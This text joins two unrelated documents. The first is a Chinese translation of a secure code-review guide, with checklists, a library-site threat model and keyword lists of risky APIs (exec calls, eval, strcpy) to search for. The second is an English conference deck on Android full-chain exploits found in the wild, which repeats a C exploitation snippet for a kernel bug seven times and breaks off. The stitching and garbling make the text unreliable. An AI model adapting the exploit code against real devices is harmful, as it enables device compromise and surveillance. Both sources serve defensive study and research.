流程流中是很困难的。组织需要安全团队的持续参与,或 者每个团队都需要训练有素的程序员致力于安全。 283 5.2.1 持续集成和测试驱动开发 术语“持续集成”起源于极限编程开发过程。今天,它是 SDLC 敏捷的最佳实践之一。 CI 要求开发人员每天数次将代码检入到源代码控制管理应用程序(scm)中。自动生成服务器 和应用程序验证每个签入。优点是团队成员可以在软件开发过程的早期快速发现构建问题。 对于代码审计者来说,配置项的缺点是虽然代码可以正确构建;软件安全漏洞可能仍然存在。 代码审计可能是签入过程的一部分,但审计可能只是为了确保代码只符合组织的最低标准。 284 代码审计并不是一种安全的代码审计,它采用风险评估的方法,需要额外的时间来进行代码 审计。 代码审计的第二个缺点是,由于组织在敏捷过程中进展很快,可能会引入设计缺陷,导 致安全漏洞,这些漏洞可能会被部署到生产环境中。 代码审计者的不能逾越的红线是… 1.没有 user stories 谈论基于风险的安全漏洞。 2. User stories 没有公开描述源和汇。 3.尚未对该应用程序进行风险评估。 5.2.2 分解过程区域 术语“测试驱动开发”像 CI 一样起源于极限编程开发过程。今天,像竞争情报一样, 它是 SDLC 敏捷的最佳实践之一。TDD 要求开发人员重复非常短的开发周期。首先,开发 人员编写一个自动化测试用例,定义一个需要的改进或者新的功能。第一步 TDD 初始测试 失败。随后的步骤是开发人员创建最少数量的要通过的代码。最后,开发人员将新代码重构 为组织可接受的编码标准。 285 5.3 代码审计 Checklist 条目 描述 PASS FAIL 通用 是否有后门/未公开的业务逻辑类? 通用 应用程序使用的外部库,工具,插件是否具有这 些协议的最新版本,是否已进行补丁和适当处理 以保持更新? 通用 包含安全机密(例如密码)的类只能通过受保护 的 API 访问 通用 包含安全机密(例如密码)的类只能通过受保护 的 API 访问? 286 通用 纯文本秘密不会长时间存储在内存中。 通用 审计数组范围 通用 应用程序使用的所有敏感信息已被识别 业务逻辑和设计 是否有与业务逻辑相关的未使用配置? 业务逻辑和设计 如果使用请求参数标识业务逻辑方法,是否存在 对它们的用户特权以及方法/动作的正确映射? 业务逻辑和设计 审计绑定到用户输入的表单对象中是否存在未 暴露的实例变量。 如果存在,请审计它们是否 具有默认值。 业务逻辑和设计 审计绑定到用户输入的表单对象中是否存在未 公开的实例变量。 如果存在,请在表单绑定之 前审计它们是否已初始化。 业务逻辑和设计 审计绑定到用户输入的表单对象中是否存在未 暴露的实例变量。 如果存在,请审计它们是否 具有默认值。 业务逻辑和设计 审计绑定到用户输入的表单对象中是否存在未 公开的实例变量。 如果存在,请在表单绑定之 前审计它们是否已初始化。 业务逻辑和设计 审计是否正确执行? 有后门参数吗? 287 业务逻辑和设计 审计是否应用于 Web 根目录内的所有必需文件 和文件夹? 业务逻辑和设计 是否有像 Access-ALL 这样的默认配置? 业务逻辑和设计 配置是否适用于所有文件和用户? 业务逻辑和设计 该设计是否支持诸如明文文件之类的弱数据存 储? 业务逻辑和设计 集中式验证是否适用于所有请求和所有输入? 业务逻辑和设计 集中验证审计是否会阻止所有特殊字符? 业务逻辑和设计 是否有任何特殊的请求从验证中跳过? 业务逻辑和设计 设计是否保留任何未通过验证的参数或功能的 排除清单? 业务逻辑和设计 设计是否对外部连接/命令使用任何提升的 OS /系统特权? 业务逻辑和设计 使用的 API /技术是否存在任何已知的缺陷? 例如:DWR 业务逻辑和设计 设计框架是否提供任何内置的安全控制? 像 ASP.NET MVC 中的<%:%>一样? 应用程序 是否利用了这些控件? 业务逻辑和设计 特权是否会在任何可能的时候减少? 288 业务逻辑和设计 程序是否设计为正常失败? 业务逻辑和设计 设计是否确定了所有切入点和信任边界,并在风 险分析报告中分析? 授权 身份验证和授权审计的位置是否正确? 授权 无效请求后,执行是否停止/终止? 例如, 验 证/授权审计失败时? 授权 审计是否正确执行? 有后门参数吗? 授权 审计是否应用于 Web 根目录内的所有必需文件 和文件夹? 授权 在处理输入之前是否进行安全审计? 授权 无效请求后,执行是否停止/终止? 例如, 验 证/授权审计失败时? 授权 如果是容器管理的身份验证-身份验证是否仅基 于 Web 方法? 授权 如果是容器管理的身份验证-身份验证是否适用 于所有资源? 授权 如果是容器管理的身份验证-身份验证是否仅基 于 Web 方法? 授权 是否对密码执行密码复杂性审计? 289 授权 是否以将密码写入文件/日志/控制台的方式向 用户披露密码? 授权 应用程序设计是否要求服务器身份验证(防欺骗 措施)? 授权 应用程序是否支持密码过期? Session 管理 设计是否可以安全地处理会话? Session 管理 设计是否涉及组件/模块之间的会话共享? 会 话两端是否正确验证? Session 管理 URL 中未传递任何会话参数。 Session 管理 会话 Cookie 在合理的短时间内过期。 Session 管理 会话 cookie 被加密。 Session 管理 会话数据已验证。 Session 管理 会话 ID 很复杂。 Session 管理 会话存储是安全的。 Session 管理 会话不活动超时被强制执行。 密码学 密码是否以加密格式存储? 密码学 数据库凭证是否以加密格式存储 密码学 通过网络发送的所有 PI 和敏感信息是否都是加 290 密形式。 密码学 数据是否在加密通道上发送? 应用程序是否使 用 HTTP 客户端进行外部连接? 密码学 应用程序是否使用自定义方案进行哈希或加 密? 密码学 应用程序使用的加密功能是否是这些协议的最 新版本,已打补丁并进行了适当处理以保持更 新? 密码学 是否有任何特殊的请求从验证中跳过? 密码学 密钥不在代码中存储。 输入验证 所有不受信任的输入都经过验证了吗? 输入数 据受类型,长度,格式和范围的约束和验证。 日志和审计 日志记录的是个人信息,密码还是其他敏感信 息? 日志和审计 审核日志是否记录连接尝试(成功和失败)? 日志和审计 是否有适当的流程来读取审核日志以了解意外/ 恶意行为? 用户管理和认证 记录了基于用户和角色的特权。 用户管理和认证 身份验证 cookie 不会保留。 291 用户管理和认证 身份验证 cookie 已加密。 用户管理和认证 身份验证凭据未通过 HTTP GET 传递。 用户管理和认证 授权审计是细粒度的(页面和目录级别)。 用户管理和认证 根据明确定义的角色进行授权。 用户管理和认证 授权工作正常,不能通过参数操纵来规避。 用户管理和认证 Cookie 操作无法绕过授权。 数据管理 数据在服务器端验证。 数据管理 针对每个请求验证 HTTP 标头 数据管理 是否所有 XML 输入数据都根据约定的模式进行 了验证? 数据管理 包含不受信任的数据提供的输入的输出是否具 有正确的编码类型(URL 编码,HTML 编码)? 数据管理 是否已将正确的编码应用于应用程序正在输出 的所有数据。 Web 服务器 如果应用程序不需要动态生成 WSDL,则禁用 Web 服务的文档协议。 Web 服务器 审计 Web 服务描述语言(WSDL)中的 Web 服务端点地址的有效性。 292 Web 服务器 禁用不必要的 Web 服务协议(除了 HTTP GET 和 HTTP POST) 5.4 威胁模型示例 5.4.1.1 分解应用程序 分解应用程序的目标是了解应用程序以及它如何与外部实体交互。信息收集和文档可以 实现这个目标。信息收集过程使用明确定义的结构来执行,这确保收集到正确的信息。该结 构还定义了应该如何记录信息以生成威胁模型。 表: 一般信息 威胁模型中的第一项是与威胁模型相关的一般信息。这必须包括以下内容: 1.应用程序名称:应用程序的名称 2.应用程序版本:应用程序的版本 3.描述:应用程序的高级描述 4.文档所有者:威胁建模文档的所有者 5.参与者:参与此应用程序威胁建模过程的参与者 6.审计者:威胁模型的审计者 293 描述 学院图书馆网站是第一个为图书馆员和图书馆顾客(学生和学院工作人员)提供在线服 务的网站。由于这是网站的第一次实施,功能将是有限的。该应用程序有三种用户: 1.学生 2.全体职员 3.图书馆员工作人员和学生将能够登录并搜索书籍,工作人员可以请求书籍。图书管理 员将能够登录、添加图书、添加用户和搜索图书。 表: 入口点 入口点应记录如下: 1.身份 分配给入口点的唯一标识。这将用于入口点与任何已识别的威胁或漏洞进行交叉参 考。在层入口点的情况下,应该使用主要的、次要的符号。 2.名字 标识入口点及其用途的描述性名称。 3.描述 详述在入口点发生的交互或处理的文本描述。 4.信任级别 294 此处记录了入口点所需的访问级别。这些将与文档后面定义的信任级别相互参照。 表: 资产 威胁模型中记录的资产如下: 1.身份 分配一个唯一的标识来标识每个资产。这将用于将资产与任何已识别的威胁或漏洞 进行交叉参考。 2.名字 明确标识资产的描述性名称。 3.描述 资产是什么以及为什么需要保护的文本描述。 4.信任级别 此处记录了访问入口点所需的访问级别。这些将与下一步中定义的信任级别相互参 照。 表: 信任级别 威胁模型中记录的信任级别如下: 1.身份 295 每个信任级别都有一个唯一的编号。这用于交叉参考入口点和资产的信任级别。 2.名字 一个描述性名称,允许标识已被授予此信任级别的外部实体。 3.描述 信任级别的文本描述,详细说明被授予信任级别的外部实体。 通过对学院图书馆网站架构和设计的理解,可以创建如图十所示的数据流图。 图 具体来说,用户登录数据流图将如下图所示。 图 296 5.4.1.2 威胁建模示例:步骤 2a 威胁分类 确定威胁的第一步是采用威胁分类。威胁分类提供了一组带有相应示例的威胁类别,因 此可以在应用程序中以结构化和可重复的方式系统地识别威胁。 Stride 下表提供了按这些类别组织的一般威胁的威胁列表,以及示例和受影响的安全控 制:[此处作者可能遗漏了一些] 5.4.1.3 威胁建模示例:步骤 2b 威胁排名 威胁倾向于从风险因素的角度进行排序。通过确定各种已识别威胁造成的风险因素,可 以创建一个按优先顺序排列的威胁列表来支持风险缓解策略,例如决定首先要缓解哪些威胁。 297 不同的风险因素可用于确定哪些威胁,威胁可分为高风险、中风险或低风险。一般来说,威 胁风险模型使用不同的因素来建模风险。 微软 DREAD 威胁-风险排名模型 通过参考学院图书馆网站,可以记录与用例相关的威胁示例,例如: 威胁:恶意用户查看学生、教师和图书馆员的机密信息。 1.潜在损害 对声誉的威胁以及财务和法律责任:8 2.再现性 完全可再现性:10 3.可开发性 要求在同一个子网中或已经危及路由器:7 4.受影响的用户影响所有用户:10 5.发现性 很容易找到:10 整体恐惧分数:(8+10+7+10+10) / 5 = 9 在这种情况下,10 分制中有 9 分肯定是一个高风险威胁。 298 5.5 代码爬行 本附录给出了如何在以下编程语言中执行代码爬行的实例: ⚫ .NET ⚫ Java ⚫ ASP ⚫ C++/Apache 5.5.1 在.NET 中搜索代码 首先,一个人需要熟悉可以用来执行文本搜索的工具,接下来,他需要知道要寻找什么。 审计人员可以扫描代码,寻找常见的模式或关键字,如“User”, “Password”, “Pswd”, “Key”, “Http”等... 这可以使用 VS 中的“在文件中查找”工具或使用如下命令来执行: findstr /s /m /i /d:c:\projects\codebase\sec “http” *.* 5.5.1.1 请求字符串 我们需要确保接收到的所有 HTTP 请求都经过了数据验证,包括组合、最大和最小长度, 以及数据是否属于参数白名单的范围。底线是这是一个需要关注的关键领域,并确保启用安 全性。 要搜索的字符串 299 request.accesstypes request.httpmethod request.cookies request.url request.browser request.querystring request.certificate request.urlreferrer request.files request.item request.rawurl request.useragent request.headers request.form request.servervariables request.userlanguages request.TotalBytes request.BinaryRead 5.5.1.2 HTML 产量 我们在这里寻找客户的回应。未验证的响应或在没有数据验证的情况下回应外部输入的 响应是需要审计的关键领域。许多客户端攻击是由于响应验证不佳造成的。 要搜索的字符串 response.write HttpUtility HtmlEncode UrlEncode innerText innerHTML <%= 5.5.1.3 SQL &数据库 定位代码中可能涉及数据库的地方是代码审计的一个重要方面。查看数据库代码将有助 于确定应用程序是否易受 SQL 注入攻击。其中一个方面是验证代码使用了 SqlParameter、 OleDbParameter 或 OdbcParameter(系统.Data.SqlClient)。这些是类型化的,将参数视 为文字值,而不是数据库中的可执行代码。 要搜索的字符串 300 exec sp_ select from insert update delete from where delete execute sp_ exec xp_ exec @ execute @ executestatement executeSQL setfilter executeQuery GetQueryResultInXML adodb sqloledb sql server driver Server.CreateObject Provider System.Data.sql ADODB.recordset New OleDbConnection ExecuteReader DataSource SqlCommand Microsoft.Jet SqlDataReader ExecuteReader SqlDataAdapter StoredProcedure 5.5.1.4 Cookies Cookie 操作可能是各种应用程序安全攻击的关键,例如会话劫持/固定和参数操作。人 们应该审计与 cookie 功能相关的任何代码,因为这将对会话安全产生影响。 要搜索的字符串 System.Net.Cookie HTTPOnly document.cookie 5.5.1.5 HTML 标签 下面的许多 HTML 标记可用于客户端攻击,如跨站点脚本。重要的是审计使用这些标 签的环境,并审计与在 web 应用程序中显示和使用这些标签相关联的任何相关数据验证。 要搜索的字符串 301 HtmlEncode URLEncode <applet> <frameset> <embed> <frame> <html> <iframe> <img> <style> <layer> <ilayer> <meta> <object> <frame security <iframe security> 5.5.1.6 输入控件 下面的输入控件是用于生成和显示 web 应用程序表单字段的服务器类。寻找这样的参 考有助于找到应用程序的入口点。 要搜索的字符串 htmlcontrols.htmlinputhidden webcontrols.hiddenfield webcontrols.hyperlink webcontrols.textbox webcontrols.label webcontrols.linkbutton webcontrols.listbox webcontrols.checkboxlist webcontrols.dropdownlist 5.5.1.7 WEB.config 那个. NET Framework 依赖于.config 文件来定义配置设置。那个.config 文件是基于 文本的 XML 文件。很多.config 文件可以并且通常确实存在于单个系统上。Web 应用程序 参考位于应用程序根目录中的 web.config 文件。对于 ASP.NET 应用程序,web.config 包 含关于应用程序操作的大多数方面的信息。 要搜索的字符串 302 requestEncoding responseEncoding Trace authorization compilation webcontrols.linkbutton webcontrols.listbox webcontrols.checkboxlist webcontrols.dropdownlist CustomErrors httpCookies httpHandlers httpRuntime sessionState maxRequestLength Debug forms protection appSettings ConfigurationSettings appSettings connectionStrings authentication mode Allow Deny Credentials identity impersonate timeout remote 5.5.1.8 global.asax 每个应用程序都有自己的 global.asax 文件(如果需要的话)。Global.asax 使用脚本为 应用程序设置事件代码和值。必须确保应用程序变量不包含敏感信息,因为它们对整个应用 程序和其中的所有用户都是可访问的。 要搜索的字符串 Application_OnAuthenticateRequest Application_OnAuthorizeRequest Session_OnStart Session_OnEnd 5.5.1.9 Logging 日志记录可能是信息泄露的一个来源。重要的是审计对日志子系统的所有调用,并确定 303 是否记录了任何敏感信息。常见的错误是在身份验证功能中记录用户标识和密码,或者记录 可能包含敏感数据的数据库请求。 要搜索的字符串 log4net Console.WriteLine System.Diagnostics.Debug System.Diagnostics.Trace 5.5.1.10 machine.config 对于特定的应用程序,machine.config 中的许多变量都可以在 web.config 文件中被 覆盖,这一点很重要。 要搜索的字符串 validateRequest enableViewState enableViewStateMac 5.5.1.11 线程和并发 将包含多线程函数的代码定位为并发性问题可能会导致竞争条件,这可能会导致安全漏 洞。线程关键字是创建新线程对象的地方。使用保存敏感安全信息的静态全局变量的代码可 能会导致会话问题。使用静态构造函数的代码也可能导致线程之间的问题。如果多个线程同 时调用 Dispose,不同步 Dispose 方法可能会导致问题,这可能会导致资源释放问题。 要搜索的字符串 Thread Dispose 304 5.5.1.12 Class 设计 “公共”和“密封”与 Class 级别的设计相关。不打算从派生的类应该被密封。确保所 有类字段设置为 public 都是原因的。不要暴露任何不必要的东西。 要搜索的字符串 Public Sealed 5.5.1.13 Reflection,序列化 代码可以在运行时动态生成。根据外部输入动态生成的代码可能会产生问题。如果代码 包含敏感数据,是否需要序列化? 要搜索的字符串 Serializable AllowPartiallyTrustedCallersAttribute GetObjectData System.Reflection STRING TO SEARCH catch finally trace enabled customErrors mode StrongNameIdentity StrongNameIdentityPermission 5.5.1.14 例外和错误 确保在出现异常的情况下,catch 块不会向用户泄露信息。在处理资源时,确保使用最 后一个块。从信息泄露的角度来看,启用跟踪并不重要。确保定制错误得到正确实施 要搜索的字符串 catch finally trace enabled customErrors mode 305 5.5.1.15 密码学 如果使用密码加密,那么是否使用了足够强的密码,即。AES 还是 3DES?用什么尺寸 的钥匙?密钥要越长越好。哈希在哪里执行?正在持久化的密码是否经过哈希处理?应该是。 随机数是如何产生的?PRNG 够“随机”吗? 要搜索的字符串 RNGCryptoServiceProvider SHA MD5 base64 DES RC2 System.Security.Cryptography System.Random Random xor 5.5.1.16 存储 如果在内存中存储敏感数据,建议使用以下方法。 要搜索的字符串 SecureString ProtectedMemory 5.5.1.17 授权、声明和恢复 绕过.Net 代码访问安全权限?不是个好主意。下面是一个潜在危险权限的列表,例如 在 CLR 之外调用非托管代码。 要搜索的字符串 RequestMinimum RequestOptional Assert Debug.Assert 306 CodeAccessPermission MemberAccess ControlAppDomain UnmanagedCode SkipVerification ControlEvidence SerializationFormatter ControlPrincipal ControlDomainPolicy ControlPolicy 5.5.1.18 遗留方法 在任何情况下都应该审计的一些标准函数包括。 要搜索的字符串 printf strcpy 5.5.2 在 Java 中搜索代码 5.5.2.1 输入和输出流 这些用于将数据读入应用程序。它们可能是应用程序的潜在入口点。进入点可能来自外 部来源,必须进行调查。这些也可以用于路径遍历攻击或 DoS 攻击。 要搜索的字符串: java.io.FileOutputStream File ObjectInputStream PipedInputStream STRING TO SEARCH FileInputStream ObjectInputStream FilterInputStream PipedInputStream SequenceInputStream StringBufferInputStream BufferedReader ByteArrayInputStream StreamTokenizer getResourceAsStream java.io.FileReader java.io.FileWriter 307 java.io.RandomAccessFile java.io.File renameTo Mkdir 5.5.2.2 Servlets 这些应用编程接口调用可能是参数/报头/网址/cookie 篡改、超文本传输协议响应分割 和信息泄漏的途径。应该仔细审计它们,因为许多这样的应用编程接口直接从 HTTP 请求中 获取参数。 要搜索的字符串 getParameterMap getScheme getProtocol getContentType getServerName getRemoteAddr getRemoteHost getRealPath getLocalName getAttribute getAttributeNames getLocalAddr getAuthType getRemoteUser getCookies isSecure HttpServletRequest getQueryString getHeaderNames getHeaders getPrincipal getUserPrincipal isUserInRole getInputStream getOutputStream getWriter addCookie addHeader setHeader setAttribute putValue javax.servlet.http.Cookie getName getPath getDomain getComment getMethod getPath getReader getRealPath getRequestURI getRequestURL getServerName getValue getValueNames getRequestedSessionId 308 5.5.2.3 跨站点脚本 这些应用编程接口调用应该在代码审计中审计,因为它们可能是跨站点脚本漏洞的来源。 要搜索的字符串 javax.servlet.ServletOutputStream.print strcpy 5.5.2.4 响应分割 响应拆分允许攻击者通过在报头中添加额外的 CRLFs 来控制响应体。在 HTTP 中,报 头和正文由 2 个 CRLF 字符分隔,因此,如果攻击者的输入用于响应报头,并且该输入包含 2 个 CRLFs,则 CRLFs 之后的任何内容都将被解释为响应正文。在代码审计中,确保功能 正在净化任何被放入标题的信息。 要搜索的字符串 javax.servlet.http.HttpServletResponse.sendRedirect strcpy setHeader 5.5.2.5 重定向 每当应用程序发送重定向响应时,都要确保所涉及的逻辑不会被攻击者的输入所操纵。 尤其是当使用输入来确定重定向的目的地时。 要搜索的字符串 309 sendRedirect setStatus addHeader etHeader 5.5.2.6 SQL &数据库 搜索与 Java 数据库相关的代码应该有助于查明被审计的应用程序的持久层中涉及的类 /方法。 要搜索的字符串 java.sql.Connection.prepareStatement java.sql.ResultSet.getObject select insert java.sql.Statement.executeQuery java.sql.Statement.execute delete update java.sql.Connection.prepareCall createStatement java.sql.ResultSet.getString executeQuery jdbc java.sql.Statement.executeUpdate java.sql.Statement.addBatch execute executestatement 5.5.2.7 加密套接字协议层 寻找利用 SSL 作为点对点加密媒介的代码。下面的片段应该指出 SSL 功能是在哪里开 发的。 要搜索的字符串 com.sun.net.ssl SSLContext SSLSocketFactory TrustManagerFactory HttpsURLConnection KeyManagerFactory 5.5.2.8 会话管理 当下列应用编程接口控制会话管理时,应在代码审计中审计它们。 310 要搜索的字符串 getSession invalidate getId 5.5.2.9 系统命令交互 在这里,我们可能容易受到命令注入攻击或操作系统注入攻击。Java 链接到本机操作 系统可能会导致严重问题,并可能导致服务器整体受损。 要搜索的字符串 java.lang.Runtime.exec java.lang.Runtime.getRuntime getId 5.5.2.10 Logging 通过审计应用程序中包含的以下代码,我们可能会遇到一些信息泄漏。 要搜索的字符串 java.io.PrintStream.write log4j jLo Lumberjack JDLabAgent MonoLog qflog just4log log4Ant 5.5.2.11 Ajax 和 JavaScript 查找 Ajax 的用法和可能的 JavaScript 问题: 要搜索的字符串 document.write eval document.cookie window.location document.URL document.URL 311 5.5.3 在经典 ASP 中搜索代码 ASP 中的输入 API 通常用于从请求中检索输入,因此代码审计应该确保这些请求(和相 关逻辑)不会被攻击者操纵。ASP 使用输出应用编程接口来编写将发送给最终用户的响应主 体,因此代码审计应该审计这些请求是否以正确的方式使用,并且不能返回敏感信息。 Cookies 也可能是信息泄漏的来源。 要搜索的字符串 Request Request.QueryString Request.Form Request.ServerVariables Response.Write Response.BinaryWrite <%= .cookies Query_String hidden include .inc 5.5.3.1 错误处理 确保应用程序中的错误得到正确处理,否则攻击者可能会使用错误条件来操纵应用程序。 要搜索的字符串 err. Server.GetLastError On Error Resume Next On Error GoTo 0 5.5.3.2 网址中的信息 这些应用编程接口用于从请求中的网址对象中提取信息。代码审计应该审计从网址中提 312 取的信息是否经过清理。 要搜索的字符串 location.href location.replace method=”GET” On Error GoTo 0 5.5.3.3 数据库 这些 API 可用于与数据库交互,这可能导致 SQL 攻击。代码审计可以使用净化的输入 来审计这些应用编程接口调用。 要搜索的字符串 commandText select from update insert into .open ADODB. Commandtype ICommand delete from where IRowSet execute .execute 5.5.3.4 Session 这些应用编程接口调用可以控制 ASP 应用程序中的会话。 要搜索的字符串 session.timeout session.abandon session.removeall 5.5.3.5 拒绝服务预防和日志记录 以下 ASP 应用编程接口可以帮助防止对应用程序的拒绝服务攻击。向日志中泄漏信息 可能对攻击者有用,因此可以在代码审计中审计以下 API 调用,以确保没有敏感信息被写 入日志。 313 要搜索的字符串 server.ScriptTimeout IsClientConnected WriteEntry 5.5.3.6 重定位 不要让攻击者输入来控制拒绝发生的时间和地点。 要搜索的字符串 Response.AddHeader Response.AppendHeader Response.Redirect Response.Status Response.StatusCode Server.Transfer Server.Execute 在 Javascript 和 AJAX 中搜索代码 Ajax 和 JavaScript 将功能带回了客户端,这将许多旧的安全问题带回了前台。以下关 键字与用于操纵用户状态或浏览器控件的 API 调用相关。AJAX 和其他 Web 2.0 范例的出 现将安全问题推回到客户端,但不排除传统的服务器端安全问题。寻找 Ajax 的用法,以及 可能的 JavaScript 问题。 要搜索的字符串 eval document.cookie document.referrer document.attachEvent 314 document.body document.body.innerHtml document.body.innerText document.close document.create document.execCommand document.forms[0].action document.location document.open document.URL document.URLUnencoded document.write document.writeln location.hash location.href location.search window.alert window.attachEvent window.createRequest window.execScript window.location window.open window.navigate window.setInterval window.setTimeout XMLHTTP 5.5.4 在 C++和 Apache 中搜索代码 通常,当 C++开发人员构建 web 服务时,他们会构建一个由 web 服务器调用的 CGI 程序(尽管这并不高效),或者他们会使用 Apache httpd 框架并编写一个处理程序或过滤器 来处理 HTTP 请求/响应。为了帮助这些开发人员,本节将讨论在处理 HTTP 输入和输出时 使用的通用 C/C++函数,以及处理程序中使用的一些常见 Apache APIs。 5.5.4.1 传统的 C/C++方法 对于任何与 web 请求交互的 C/C++代码,应该审计处理字符串和输出的代码,以确保 逻辑没有任何缺陷。 要搜索的字符串 315 exec sprint document.referrer fprintf cerr System popen stringstream fstringstream Malloc free strncpy Strcat cout cin printf Stdio FILE strcpy 5.5.4.2 请求处理 在 Apache 中编码时,可以使用以下 API 从 HTTP 请求对象中获取数据。 要搜索的字符串 headers_in ap_read_request post_read_request 5.5.4.3 响应处理 根据要发送给客户端的响应类型,可以使用以下 Apache APIs。 要搜索的字符串 headers_out ap_rprintf ap_send_error_response ap_send_fd ap_vprintf Cookie 处理 Cookie 可以从请求头列表中获得,也可以从专门的 Apache 函数中获得。 要搜索的字符串 headers_in headers_out headers_out ap_cookie_write2 ap_cookie_read ap_cookie_check_string 5.5.4.4 Logging 日志消息可以使用模块中包含的自定义日志程序来实现(例如。log4cxx 等),通过使用 316 Apache 提供的日志 API,或者通过简单地编写标准输出或标准错误。 要搜索的字符串 cout cerr ap_open_stderr_log ap_error_log2stderr ap_log_error ap_log_perror ap_log_rerror 5.5.5 超文本标记语言 5.5.5.1 HTML 编码 当团队在 C/C++处理程序中获得了 HTML 输入或输出的句柄时,可以使用以下方法来 确保/审计 HTML 编码。 要搜索的字符串 ap_unescape_all ap_unescape_url ap_unescape_url_keep2f ap_unescape_urlencoded ap_escape_path_segment
pdf
Monitoring Surveillance Vendors: A Deep Dive into In-the-Wild Android Full Chains in 2021 Xingyu Jin Christian Resell Clement Lecigne Richard Neal #BHUSA  @BlackHatEvents #BHUSA   @BlackHatEvents Introduction Xingyu @1ce0ear Richard @ExploitDr0id Christian @0xbadcafe1 #BHUSA   @BlackHatEvents Agenda ● Examples of full-chains found in-the-wild by TAG ● CVE-2021-0920 deep dive ● Post exploitation ● Exploit in Google Play ● Defending Android ● Conclusion #BHUSA   @BlackHatEvents ● Goal: Protect Google and our users ● Hunting for 0-days exploited in-the-wild ● Tracking more than 30 surveillance vendors ● Exploits shared/sold between groups ● Two Android full-chains found in 2021 ○ From different surveillance vendors Threat Analysis Group #BHUSA   @BlackHatEvents ● Served to an up-to-date Android phone ● Two 0-days were exploited: ○ CVE-2021-38003: Chrome renderer 0-day in JSON.stringify ○ CVE-2021-1048: epoll refcount bug ● CVE-2021-1048 was fixed quickly in the upstream kernel ○ Not the first time we have seen this (e.g. CVE-2019-2215 aka Bad Binder) Android Full-chain #1 #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents Android Full-chain #1: Exploitation void *libc_map = mmap(NULL, libc_size, PROT_READ, MAP_PRIVATE, libc_fd, 0); int fd = socket(AF_LOCAL, SOCK_DGRAM, 0); fput(fd); usleep(500); int mfd = memfd_create("foobar", 0); void *rw_map = mmap(NULL, libc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); close(mfd); usleep(500); int lfd = open(LIBC_PATH, O_RDONLY); uint32_t foobar; for (size_t i = 0; i < libc_size; i += PAGE_SIZE) { foobar = *(uint32_t *)&libc_map[i]; foobar = *(uint32_t *)&rw_map[i]; } memcpy(rw_map, "booom", 5); #BHUSA   @BlackHatEvents 1. Achieve RCE: Several Chrome N-days targeting an OEM browser where the bugs weren’t patched ○ CVE-2020-16040 ○ CVE-2020-6383 ○ CVE-2020-6418 2. Sandbox escape ○ Bad Binder ○ 0-day Android Full-chain #2 #BHUSA   @BlackHatEvents Android Full-chain #2 Exploit server WASM rwx memory Local privilege escalation One-time link Chrome renderer #BHUSA   @BlackHatEvents ● CVE-2021-0920 exploit ○ The most complicated in-the-wild Android kernel exploit in 2021. ○ There were 2 major versions target at a OEM X 